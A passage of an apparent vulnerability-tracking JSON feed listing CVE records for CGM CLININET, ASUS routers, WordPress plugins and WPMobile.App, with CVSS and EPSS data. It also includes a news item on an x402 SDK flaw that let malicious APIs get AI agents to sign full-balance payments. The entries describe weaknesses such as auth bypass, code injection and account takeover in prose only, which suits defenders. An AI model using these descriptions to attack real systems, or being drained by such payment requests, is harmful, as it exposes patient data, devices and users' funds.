Authorization vulnerability in Amauri.IO WPMobile.App wpappninja allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPMobile.App: from n/a through 11.86.","detail":"Missing Authorization vulnerability in Amauri.IO WPMobile.App wpappninja allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPMobile.App: from n/a through 11.86.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:05.540Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112359","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.00317,"percentile":0.24438,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112359","type":"primary","publishedAt":"2026-10-23T09:17:05.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30052","cveId":"CVE-2025-30052","aliases":[],"kind":"vulnerability","title":"The rsyncd service of the CGM CLININET is vulnerable to Authentication Bypass via IP spoofing.","summary":"The rsyncd service of the CGM CLININET is vulnerable to Authentication Bypass via IP spoofing. Access is granted based solely on the client's source IP address. An attacker able to spoof an allowed IP address, can bypass this check and gain the ability to edit files on the affected system. \n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.","detail":"The rsyncd service of the CGM CLININET is vulnerable to Authentication Bypass via IP spoofing. Access is granted based solely on the client's source IP address. An attacker able to spoof an allowed IP address, can bypass this check and gain the ability to edit files on the affected system. \n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:05.040Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30052","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00342,"percentile":0.27508,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30052&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30052","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30052","type":"primary","publishedAt":"2026-10-23T09:17:05.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30052&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30052, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30049","cveId":"CVE-2025-30049","aliases":[],"kind":"vulnerability","title":"The CGM CLININET application stores user passwords as unsalted MD5 hashes.","summary":"The CGM CLININET application stores user passwords as unsalted MD5 hashes.\n\n\nThis issue was fixed in versions 2026.MS1 and 2026.MS3","detail":"The CGM CLININET application stores user passwords as unsalted MD5 hashes.\n\n\nThis issue was fixed in versions 2026.MS1 and 2026.MS3\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:04.690Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30049","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00209,"percentile":0.10999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30049","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30049","type":"primary","publishedAt":"2026-10-23T09:17:04.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30045","cveId":"CVE-2025-30045","aliases":[],"kind":"vulnerability","title":"CGM CLININET is vulnerable to Code Injection in the ConvExpr function, which processes Perl expressions into RTF document content.","summary":"CGM CLININET is vulnerable to Code Injection in the ConvExpr function, which processes Perl expressions into RTF document content. Due to improper control of the code evaluated from these expressions, an authenticated, high-privileged attacker can cause arbitrary code to be executed with root privileges. \n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.","detail":"CGM CLININET is vulnerable to Code Injection in the ConvExpr function, which processes Perl expressions into RTF document content. Due to improper control of the code evaluated from these expressions, an authenticated, high-privileged attacker can cause arbitrary code to be executed with root privileges. \n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:04.327Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30045","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00199,"percentile":0.09595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30045","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30045","type":"primary","publishedAt":"2026-10-23T09:17:04.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30043","cveId":"CVE-2025-30043","aliases":[],"kind":"vulnerability","title":"CGM CLININET is vulnerable to Missing Authentication for Critical Function in the /DocManagment path.","summary":"CGM CLININET is vulnerable to Missing Authentication for Critical Function in the /DocManagment path. The endpoint is accessible without authentication, allowing an unauthenticated attacker in the adjacent network to retrieve the list of patient documents and download those documents. \n\n\nThis issue was fixed in version 2026.MS3","detail":"CGM CLININET is vulnerable to Missing Authentication for Critical Function in the /DocManagment path. The endpoint is accessible without authentication, allowing an unauthenticated attacker in the adjacent network to retrieve the list of patient documents and download those documents. \n\n\nThis issue was fixed in version 2026.MS3\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:03.300Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30043","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00207,"percentile":0.10716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30043","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30043","type":"primary","publishedAt":"2026-10-23T09:17:03.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-critical-x402-sdk-flaw-could-let-43513002b0c3","cveId":null,"aliases":[],"kind":"vulnerability","title":"Critical x402 SDK Flaw Could Let Malicious APIs Drain AI Agents’ Token Balances","summary":"AI agents paying for API calls with the x402 SDKs could sign a payment for their full balance of a supported token if a malicious API asked for it, security firm V12 said on October 22.\n\nThe cause was the SDKs' default client, which set no spending limit until releases on August 18 added one. The risk was limited to agents who automatically signed payments and whose apps set","detail":"AI agents paying for API calls with the x402 SDKs could sign a payment for their full balance of a supported token if a malicious API asked for it, security firm V12 said on October 22.\n\nThe cause was the SDKs' default client, which set no spending limit until releases on August 18 added one. The risk was limited to agents who automatically signed payments and whose apps set\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-23T08:35:45.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Critical x402 SDK Flaw Could Let Malicious APIs Drain AI Agents’ Token Balances","url":"https://thehackernews.com/2026/10/critical-x402-sdk-flaw-could-let.html","type":"reporting","publishedAt":"2026-10-23T08:35:45.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93489","cveId":"CVE-2026-93489","aliases":[],"kind":"vulnerability","title":"Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform...","summary":"Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform administrator operations.\nRefer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.","detail":"Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform administrator operations.\nRefer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T08:16:55.720Z","updatedAt":"2026-10-24T04:18:27.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93489","asOf":"2026-10-24T04:18:27.290Z"},"epss":{"probability":0.00231,"percentile":0.13829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93489&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93489","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93489","type":"primary","publishedAt":"2026-10-23T08:16:55.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93489&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93489, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75779","cveId":"CVE-2026-75779","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special\nElements used in an OS Command (“OS Command Injection”) and Cross-Site Request\nForgery (CSRF) in an ASUS router model allow an attacker to trick...","summary":"Improper Neutralization of Special\nElements used in an OS Command (“OS Command Injection”) and Cross-Site Request\nForgery (CSRF) in an ASUS router model allow an attacker to trick a logged-in\nadministrator into visiting a phishing website, causing the router to execute\narbitrary commands with root privileges.\nRefer to the '\nSecurity Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.","detail":"Improper Neutralization of Special\nElements used in an OS Command (“OS Command Injection”) and Cross-Site Request\nForgery (CSRF) in an ASUS router model allow an attacker to trick a logged-in\nadministrator into visiting a phishing website, causing the router to execute\narbitrary commands with root privileges.\nRefer to the '\nSecurity Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T08:16:55.587Z","updatedAt":"2026-10-24T04:18:18.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75779","asOf":"2026-10-24T04:18:18.620Z"},"epss":{"probability":0.01205,"percentile":0.68085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75779&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75779","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75779","type":"primary","publishedAt":"2026-10-23T08:16:55.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75779&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75779, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75775","cveId":"CVE-2026-75775","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted...","summary":"Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted parameters sent to the router while the device is in its factory-default state.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.","detail":"Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted parameters sent to the router while the device is in its factory-default state.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T08:16:55.443Z","updatedAt":"2026-10-24T04:18:18.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75775","asOf":"2026-10-24T04:18:18.413Z"},"epss":{"probability":0.00605,"percentile":0.48648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75775","type":"primary","publishedAt":"2026-10-23T08:16:55.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94268","cveId":"CVE-2026-94268","aliases":[],"kind":"vulnerability","title":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not resolve the target of the...","summary":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not resolve the target of the update-user action in its front-end Forms module consistently between the stage that authorises the request and the stage that carries it out, which allows unauthenticated visitors to bypass the guard protecting administrator accounts, take over the site administrator's account and be issued a valid session for it. Exploitation requires the site to publish two separate front-end form configurations whose targets are mapped to visitor-submitted values.","detail":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not resolve the target of the update-user action in its front-end Forms module consistently between the stage that authorises the request and the stage that carries it out, which allows unauthenticated visitors to bypass the guard protecting administrator accounts, take over the site administrator's account and be issued a valid session for it. Exploitation requires the site to publish two separate front-end form configurations whose targets are mapped to visitor-submitted values.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:08.297Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94268","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00322,"percentile":0.24949,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94268&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94268","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94268","type":"primary","publishedAt":"2026-10-23T06:17:08.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94268&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94268, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94262","cveId":"CVE-2026-94262","aliases":[],"kind":"vulnerability","title":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not verify that the requester is...","summary":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not verify that the requester is authorised to edit the targeted user account in the update-user action of its front-end Forms module, performing that check only when the target account holds an administrator role, which allows unauthenticated visitors to overwrite any non-administrator account's credentials and obtain a session for that account. Exploitation requires the site to publish a form whose user-update action maps its target to a visitor-submitted value rather than to the default current user.","detail":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not verify that the requester is authorised to edit the targeted user account in the update-user action of its front-end Forms module, performing that check only when the target account holds an administrator role, which allows unauthenticated visitors to overwrite any non-administrator account's credentials and obtain a session for that account. Exploitation requires the site to publish a form whose user-update action maps its target to a visitor-submitted value rather than to the default current user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:08.000Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94262","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00287,"percentile":0.20988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94262","type":"primary","publishedAt":"2026-10-23T06:17:08.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 